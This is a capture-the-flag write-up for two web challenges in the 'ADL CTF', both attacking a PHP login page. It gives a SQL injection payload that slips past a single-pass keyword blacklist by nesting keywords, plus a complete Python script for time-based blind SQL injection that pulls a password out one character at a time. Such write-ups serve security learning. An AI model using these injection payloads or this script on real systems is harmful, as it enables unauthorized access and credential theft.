# ADL CTF (Web) Writeup > Part 2 of the writeup for the ADL CTF project. ## General Information - Topics: `Web` - Flag format follows `ADLCTF{...}` - Includes a website for contestants to hack - Due to whatever reason, the `https://ctf.adl.tw` subdomain is reported as unsecure, reporting an invalid response as shown below: ![image](https://hackmd.io/_uploads/B1xRmK6Qyx.png) So you'll need to use its IP address to reach the websites (http://140.115.59.10). ![image](https://hackmd.io/_uploads/ByZ74YpXJl.png) The following URLs are properly rewritten to ensure it can be reached. ## `chiikawa_login_1` - Website: http://140.115.59.10:12003 - View page source and there is a comment: ```html= ... <!-- You can get source code at /?source --> ... ``` - Go to http://140.115.59.10:12003/?source to see PHP code, following is the main logic: ```php= $blacklist = array("union", "select", "where", "and", "or"); $replace = array("", "", "", "", ""); $username = str_ireplace($blacklist, $replace, $username); $password = str_ireplace($blacklist, $replace, $password); $sql = "SELECT * FROM users WHERE `username` = '$username' AND `password` = '$password';"; $query = mysqli_query($link, $sql); ``` - After a little discovery, we design the payload: Username: `' UNIUNIONON SELSELECTECT NULL, 'Usagi', 'a'--` Password: `a` **Payload explanation**: - `UNIUNIONON` and `SELSELECTECT` is to bypass the filter, seeing that it only replaces once, these two tokens only become `UNION` and `SELECT`. - The purpose of this statement is to make the code execute the following from the payloads and make the username Usagi. The following is SQL code that is intended by the execution of this payload. ```sql= SELECT * FROM users WHERE `username` = '$username' UNION SELECT 'Usagi', 'a'-- ``` The resulting flag is `ADLCTF{1nd04j1n74ch1m3!!!https://youtu.be/BLeZ9r0rJIQ?si=y2T4_Lz2XK-bSCXJ}` ## `chiikawa_login_2` - The following script guesses one ASCII printable character at a time of the username which should be the flag. ```python= import requests import time import string url = 'http://140.115.59.10:12003/' printable = string.digits + string.punctuation + string.ascii_letters + "{}" # POST data data = { 'username': "' OR IF((BINARY SUBSTRING((SELECT `username` from users LIMIT 1 OFFSET 0),0,1)='a'),SLEEP(1),0) -- ", 'password': 'a' } # Time-based blind SQL injection # Loop through all printable characters i = 0 while True: record = [] for p in printable: data['username'] = rf"' OORR IF((BINARY SUBSTRING((SELSELECTECT `passwoorrd` from users LIMIT 1 OFFSET 3),{i},1)='{p}'),SLEEP(1),0) -- " start = time.time_ns() r = requests.post(url, data=data) end = time.time_ns() record.append((end-start, p)) # if end - start > 1: # print(end-start) # print(p, end='') record.sort(reverse=True) #for r in record[:3]: # print(r) print(record[0][1], end='', flush=True) i+=1 if record[0][1] == '}': break print() ``` After execution of the above Python script, the flag is shown as follows: `ADLCTF{Ulay@HAy@HAuLAUlay@HAy@HAuLA...https://www.youtube.com/watch?v=9tD5kbzDxRA}`